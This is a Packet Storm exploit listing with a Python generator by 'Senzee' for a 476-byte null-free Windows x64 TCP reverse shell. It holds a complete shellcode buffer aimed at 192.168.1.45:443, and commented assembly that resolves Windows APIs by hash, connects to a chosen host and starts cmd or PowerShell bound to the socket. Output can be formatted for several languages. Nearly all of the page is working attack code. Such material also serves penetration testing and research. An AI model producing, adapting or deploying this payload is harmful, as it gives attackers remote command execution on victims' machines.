Security
Headlines
HeadlinesLatestCVEs

Headline

Windows/x64 PIC Null-Free TCP Reverse Shell Shellcode

476 bytes small Windows/x64 PIC null-free TCP reverse shell shellcode.

Packet Storm
#windows#git#auth
import ctypes, structimport argparsefrom keystone import *# Exploit Title: Windows/x64 - PIC Null-Free TCP Reverse Shell Shellcode (476 Bytes)# Exploit Author: Senzee# Date: 08/29/2023# Platform: Windows X64# Tested on: Windows 11 Home/Windows Server 2022 Standard/Windows Server 2019 Datacenter# OS Version (respectively): 10.0.22621 /10.0.20348 /10.0.17763# Test IP: 192.168.1.45 # Test Port: 443# Payload size: 476 bytes# NUll-Free: True# Detailed information can be found at https://github.com/senzee1984/micr0_shell# Generated Shellcode (192.168.1.45:443):# Payload size: 476 bytes# buf =  b"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"# buf += b"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"# buf += b"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"# buf += b"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"# buf += b"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"# buf += b"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"# buf += b"\x04\x8b\x4c\x01\xc8\xc3\xc3\x4c\x89\xcd\x41\xb8\x8e\x4e\x0e\xec\xe8\x8f\xff\xff"# buf += b"\xff\x49\x89\xc4\x48\x31\xc0\x66\xb8\x6c\x6c\x50\x48\xb8\x57\x53\x32\x5f\x33\x32"# buf += b"\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x20\x4c\x89\xe0\xff\xd0\x48\x83\xc4\x20\x49"# buf += b"\x89\xc6\x49\x89\xc1\x41\xb8\xcb\xed\xfc\x3b\x4c\x89\xcb\xe8\x55\xff\xff\xff\x48"# buf += b"\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec"# buf += b"\x30\xff\xd0\x48\x83\xc4\x30\x49\x89\xd9\x41\xb8\xd9\x09\xf5\xad\xe8\x2b\xff\xff"# buf += b"\xff\x48\x83\xec\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0"# buf += b"\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd0\x49\x89\xc4\x48"# buf += b"\x83\xc4\x30\x49\x89\xd9\x41\xb8\x0c\xba\x2d\xb3\xe8\xf3\xfe\xff\xff\x48\x83\xec"# buf += b"\x20\x4c\x89\xe1\x48\x31\xd2\xb2\x02\x48\x89\x14\x24\x48\x31\xd2\x66\xba\x01\xbb"# buf += b"\x48\x89\x54\x24\x02\xba\xc0\xa8\x01\x2d\x48\x89\x54\x24\x04\x48\x8d\x14\x24\x4d"# buf += b"\x31\xc0\x41\xb0\x16\x4d\x31\xc9\x48\x83\xec\x38\x4c\x89\x4c\x24\x20\x4c\x89\x4c"# buf += b"\x24\x28\x4c\x89\x4c\x24\x30\xff\xd0\x48\x83\xc4\x38\x49\x89\xe9\x41\xb8\x72\xfe"# buf += b"\xb3\x16\xe8\x99\xfe\xff\xff\x48\xba\x9c\x92\x9b\xd1\x9a\x87\x9a\xff\x48\xf7\xd2"# buf += b"\x52\x48\x89\xe2\x41\x54\x41\x54\x41\x54\x48\x31\xc9\x66\x51\x51\x51\xb1\xff\x66"# buf += b"\xff\xc1\x66\x51\x48\x31\xc9\x66\x51\x66\x51\x51\x51\x51\x51\x51\x51\xb1\x68\x51"# buf += b"\x48\x89\xe7\x48\x89\xe1\x48\x83\xe9\x20\x51\x57\x48\x31\xc9\x51\x51\x51\x48\xff"# buf += b"\xc1\x51\xfe\xc9\x51\x51\x51\x51\x49\x89\xc8\x49\x89\xc9\xff\xd0"def print_banner():  banner="""███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝"""  print(banner)  print("Author: Senzee")  print("Original Github Repository: https://github.com/senzee1984/micr0_shell")  print("Description: Dynamically generate PIC Null-Free Windows X64 TCP Reverse Shell Shellcode")  print("This version does not support shellcode execution")  print("Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255\n\n")def get_port_argument(port):  port_hex_str = format(port, '04x')  port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]  if "00" in {port_part_1, port_part_2}:    port += 257    port_hex_str = format(port, '04x')    port_part_1, port_part_2 = port_hex_str[2:], port_hex_str[:2]    return f"mov dx, 0x{port_part_1 + port_part_2};\nsub dx, 0x101;"  return f"mov dx, 0x{port_part_1 + port_part_2};"def get_ip_argument(ip):  ip_hex_parts = [format(int(part), '02x') for part in ip.split('.')]  reversed_hex = ''.join(ip_hex_parts[::-1])  if "00" in ip_hex_parts and "ff" not in ip_hex_parts:    hex_int = int(reversed_hex, 16)    neg_hex = (0xFFFFFFFF + 1 - hex_int) & 0xFFFFFFFF    return f"mov edx, 0x{neg_hex:08x};\nneg rdx;"  return f"mov edx, 0x{reversed_hex};"def get_shell_type_argument(shell_type):  if shell_type == "cmd":    return f"mov rdx, 0xff9a879ad19b929c;\nnot rdx;"  return (f"sub rsp, 8;\nmov rdx, 0xffff9a879ad19393;\nnot rdx;\npush rdx;"            f"\nmov rdx, 0x6568737265776f70;")def output_shellcode(lan,encoding,var,save):  sh = b""  for e in encoding:        sh += struct.pack("B", e)  shellcode = bytearray(sh)  print("[+]Payload size: "+str(len(encoding))+" bytes\n")  counter=0  if lan=="python":    print("[+]Shellcode format for Python\n")    sc = ""    sc = var+" = b\""    for dec in encoding:          if counter % 20 == 0 and counter != 0:              sc += "\"\n"+var+"+="+"b\""          sc += "\\x{0:02x}".format(int(dec))          counter += 1    if count % 20 > 0:      sc += "\""      print(sc)    elif lan=="c":    print("[+]Shellcode format for C\n")    sc = "unsigned char " + var + "[]={\n"      for dec in encoding:          if counter % 20 == 0 and counter != 0:              sc += "\n"          sc += "0x{0:02x}".format(int(dec))+","          counter += 1    sc=sc[0:len(sc)-1]+"};"    print(sc)    elif lan=="powershell":    print("[+]Shellcode format for Powershell\n")    sc = "[Byte[]] $"+var+" = "      for dec in encoding:          sc += "0x{0:02x}".format(int(dec))+","    sc=sc[0:len(sc)-1]    print(sc)    elif lan=="csharp":    print("[+]Shellcode format for C#\n")    sc = "byte[] " + var + "= new byte["+str(len(encoding))+"] {\n"      for dec in encoding:          if counter % 20 == 0 and counter != 0:              sc += "\n"          sc += "0x{0:02x}".format(int(dec))+","          counter += 1    sc=sc[0:len(sc)-1]+"};"    print(sc)      else:    print("Unsupported language! Exiting...")    exit()  if save=="true":    try:      with open(output, 'wb') as f:        f.write(shellcode)        print("\n\nGenerated shellcode successfully saved in file "+output)    except Exception as e:      print(e)    if __name__ == "__main__":  print_banner()  parser = argparse.ArgumentParser(description='Dynamically generate Windows x64 reverse shell.')  parser.add_argument('--ip', '-i', required=True, dest='ip',help='The listening IP address, default value is 192.168.0.45')  parser.add_argument('--port', '-p', required=False, default=443, dest='port',help='The local listening port, default value is 443')  parser.add_argument('--language', '-l', required=False, default='python', dest='lan',help='The language of desired shellcode runner, default language is python. Support c, csharp, python, powershell')  parser.add_argument('--variable', '-v', required=False, default='buf', dest='var',help='The variable name of shellcode array, default variable is buf')  parser.add_argument('--type', '-t', required=False, default='cmd', dest='shell_type',help='The shell type, Powershell or Cmd, default shell is cmd')  parser.add_argument('--save', '-s', required=False, default='False', dest='save',help='Whether to save the generated shellcode to a bin file, True/False')  parser.add_argument('--output', '-o', required=False, default='', dest='output',help='If choose to save the shellcode to file, the desired location.')  args = parser.parse_args()  ip=args.ip  port=int(args.port)  lan=args.lan.lower()  var=args.var  shell_type=args.shell_type.lower()  save=args.save.lower()  output=args.output  print("[+]Shellcode Settings:")  print("******** IP Address: "+ip)  print("******** Listening Port: "+str(port))  print("******** Language of desired shellcode runner: "+lan)  print("******** Shellcode array variable name: "+var)  print("******** Shell: "+shell_type)  print("******** Save Shellcode to file: "+save+"\n\n")  args = parser.parse_args()  port_argument = get_port_argument(port)  ip_argument = get_ip_argument(ip)  shell_type = get_shell_type_argument(shell_type)  CODE = ("find_kernel32:"" xor rdx, rdx;"" mov rax, gs:[rdx+0x60];"        # RAX stores the value of ProcessEnvironmentBlock member in TEB, which is the PEB address" mov rsi,[rax+0x18];"        # Get the value of the LDR member in PEB, which is the address of the _PEB_LDR_DATA structure" mov rsi,[rsi + 0x30];"        # RSI is the address of the InInitializationOrderModuleList member in the _PEB_LDR_DATA structure" mov r9, [rsi];"        # Current module is python.exe" mov r9, [r9];"        # Current module is ntdll.dll" mov r9, [r9+0x10];"        # Current module is kernel32.dll" jmp jump_section;""parse_module:"        # Parsing DLL file in memory" mov ecx, dword ptr [r9 + 0x3c];"        # R9 stores the base address of the module, get the NT header offset" xor r15, r15;"" mov r15b, 0x88;"  # Offset to Export Directory   " add r15, r9;"" add r15, rcx;"" mov r15d, dword ptr [r15];"        # Get the RVA of the export directory" add r15, r9;"        # R14 stores  the VMA of the export directory" mov ecx, dword ptr [r15 + 0x18];"        # ECX stores the number of function names as an index value" mov r14d, dword ptr [r15 + 0x20];"        # Get the RVA of ENPT" add r14, r9;"        # R14 stores  the VMA of ENPT"search_function:"        # Search for a given function" jrcxz not_found;"        # If RCX is 0, the given function is not found" dec ecx;"        # Decrease index by 1" xor rsi, rsi;"" mov esi, [r14 + rcx*4];"        # RVA of function name string" add rsi, r9;"        # RSI points to function name string"function_hashing:"        # Hash function name function" xor rax, rax;"" xor rdx, rdx;"" cld;"        # Clear DF flag"iteration:"        # Iterate over each byte" lodsb;"        # Copy the next byte of RSI to Al" test al, al;"        # If reaching the end of the string" jz compare_hash;"        # Compare hash" ror edx, 0x0d;"        # Part of hash algorithm" add edx, eax;"        # Part of hash algorithm" jmp iteration;"        # Next byte"compare_hash:"        # Compare hash" cmp edx, r8d;"" jnz search_function;"        # If not equal, search the previous function (index decreases)" mov r10d, [r15 + 0x24];"        # Ordinal table RVA" add r10, r9;"        # Ordinal table VMA" movzx ecx, word ptr [r10 + 2*rcx];"        # Ordinal value -1" mov r11d, [r15 + 0x1c];"        # RVA of EAT" add r11, r9;"        # VMA of EAT" mov eax, [r11 + 4*rcx];"        # RAX stores RVA of the function" add rax, r9;"        # RAX stores  VMA of the function" ret;""not_found:"" ret;""jump_section:"        # Achieve PIC and elminiate 0x00 byte" mov rbp, r9;"        # RBP stores base address of Kernel32.dll" mov r8d, 0xec0e4e8e;"        # LoadLibraryA Hash" call parse_module;"        # Search LoadLibraryA's address" mov r12, rax;"        # R12 stores the address of LoadLibraryA function"load_module:"" xor rax, rax;"" mov ax, 0x6c6c;"        # Save the string "ll" to RAX" push rax;"        # Push the string to the stack" mov rax, 0x642E32335F325357;"        # Save the string "WS2_32.D" to RAX" push rax;"        # Push the string to the stack" mov rcx, rsp;"        # RCX points to the "WS2_32.dll" string" sub rsp, 0x20;"        # Function prologue" mov rax, r12;"        # RAX stores address of LoadLibraryA function" call rax;"        # LoadLibraryA("ws2_32.dll")" add rsp, 0x20;"        # Function epilogue" mov r14, rax;"        # R14 stores the base address of ws2_32.dll"call_wsastartup:"" mov r9, rax;"        # R9 stores the base address of ws2_32.dll" mov r8d, 0x3bfcedcb;"        # Hash of WSAStartup" mov rbx, r9;"        # Save the base address of ws2_32.dll to RBX for later use" call parse_module;"        # Search for and get the address of WSAStartup" xor rcx, rcx;"" mov cx, 0x198;"" sub rsp, rcx;"        # Reserve enough space for the lpWSDATA structure" lea rdx, [rsp];"        # Assign the address of lpWSAData to the RDX register as the 2nd parameter" mov cx, 0x202;"        # Assign 0x202 to wVersionRequired and store it in RCX as the 1st parameter" sub rsp, 0x30;"        # Function prologue" call rax;"        # Call WSAStartup" add rsp, 0x30;"        # Function epilogue"call_wsasocket:"" mov r9, rbx;"" mov r8d, 0xadf509d9;"        # Hash of WSASocketA function" call parse_module;"        # Get the address of WSASocketA function" sub rsp, 0x30;"        # Function prologue" xor rcx, rcx;"" mov cl, 2;"        # AF is 2 as the 1st parameter" xor rdx, rdx;"" mov dl, 1;"        # Type is 1 as the 2nd parameter" xor r8, r8;"" mov r8b, 6;"        # Protocol is 6 as the 3rd parameter" xor r9, r9;"        # lpProtocolInfo is 0 as the 4th parameter" mov [rsp+0x20], r9;"        # g is 0 as the 5th parameter, stored on the stack" mov [rsp+0x28], r9;"        # dwFlags is 0 as the 6th parameter, stored on the stack" call rax;"        # Call WSASocketA function" mov r12, rax;"        # Save the returned socket type return value in R12 to prevent data loss in RAX" add rsp, 0x30;"        # Function epilogue"call_wsaconnect:"" mov r9, rbx;"" mov r8d, 0xb32dba0c;"        # Hash of WSAConnect" call parse_module;"        # Get the address of WSAConnect" sub rsp, 0x20;"        # Allocate enough space for the socketaddr structure" mov rcx, r12;"        # Pass the socket descriptor returned by WSASocketA to RCX as the 1st parameter" xor rdx, rdx;"" mov dl, 2;"        # Set sin_family to AF_INET (=2)" mov [rsp], rdx;"        # Store the socketaddr structure" xor rdx, rdx;"f"{port_argument}"  # Set local port dynamically" mov [rsp+2], rdx;"        # Pass the port value to the corresponding position in the socketaddr structuref"{ip_argument}"" mov [rsp+4], rdx;"        # Pass IP to the corresponding position in the socketaddr structure# " xor r8, r8;"      # " mov [rsp+8], r8;"        # Set zero for sin_zero. Comment these 2 lines to save more bytes, does not prevent the shellcode from working" lea rdx, [rsp];"        # Pointer to the socketaddr structure as the 2nd parameter" xor r8, r8;"" mov r8b, 0x16;"        # Set namelen member to 0x16" xor r9, r9;"        # lpCallerData is 0 as the 4th parameter" sub rsp, 0x38;"        # Function prologue" mov [rsp+0x20], r9;"        # lpCalleeData is 0 as the 5th parameter" mov [rsp+0x28], r9;"        # lpSQOS is 0 as the 6th parameter" mov [rsp+0x30], r9;"        # lpGQOS is 0 as the 7th parameter" call rax;"        # Call WSAConnect" add rsp, 0x38;"        # Function epilogue"call_createprocess:"" mov r9, rbp;"        # R9 stores the base address of Kernel32.dll" mov r8d, 0x16b3fe72;"        # Hash of CreateProcessA" call parse_module;"        # Get the address of CreateProcessAf"{shell_type}"" push rdx;"   " mov rdx, rsp;"        # Pointer to "cmd.exe" is stored in the RCX register" push r12;"        # The member STDERROR is the return value of WSASocketA" push r12;"        # The member STDOUTPUT is the return value of WSASocketA" push r12;"        # The member STDINPUT is the return value of WSASocketA" xor rcx, rcx;"" push cx;"        # Pad with 0x00 before pushing the dwFlags member, only the total size matters" push rcx;"" push rcx;"" mov cl, 0xff;"" inc cx;"        # 0xff+1=0x100" push cx;"        # dwFlags=0x100" xor rcx, rcx;"" push cx;"        # Pad with 0 before pushing the cb member, only the total size matters" push cx;"" push rcx;"" push rcx;"" push rcx;"" push rcx;"" push rcx;"" push rcx;"" mov cl, 0x68;"" push rcx;"        # cb=0x68" mov rdi, rsp;"        # Pointer to STARTINFOA structure" mov rcx, rsp;"" sub rcx, 0x20;"        # Reserve enough space for the ProcessInformation structure" push rcx;"        # Address of the ProcessInformation structure as the 10th parameter" push rdi;"        # Address of the STARTINFOA structure as the 9th parameter" xor rcx, rcx;"" push rcx;"        # Value of lpCurrentDirectory is 0 as the 8th parameter" push rcx;"        # lpEnvironment=0 as the 7th argument" push rcx;"        # dwCreationFlags=0 as the 6th argument" inc rcx;"" push rcx;"        # Value of bInheritHandles is 1 as the 5th parameter" dec cl;"" push rcx;"        # Reserve space for the function return area (4th parameter)" push rcx;"        # Reserve space for the function return area (3rd parameter)" push rcx;"        # Reserve space for the function return area (2nd parameter)" push rcx;"        # Reserve space for the function return area (1st parameter)" mov r8, rcx;"        # lpProcessAttributes value is 0 as the 3rd parameter" mov r9, rcx;"        # lpThreatAttributes value is 0 as the 4th parameter" call rax;"        # Call CreateProcessA)  ks = Ks(KS_ARCH_X86, KS_MODE_64)  encoding, count = ks.asm(CODE)  output_shellcode(lan,encoding,var,save)

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution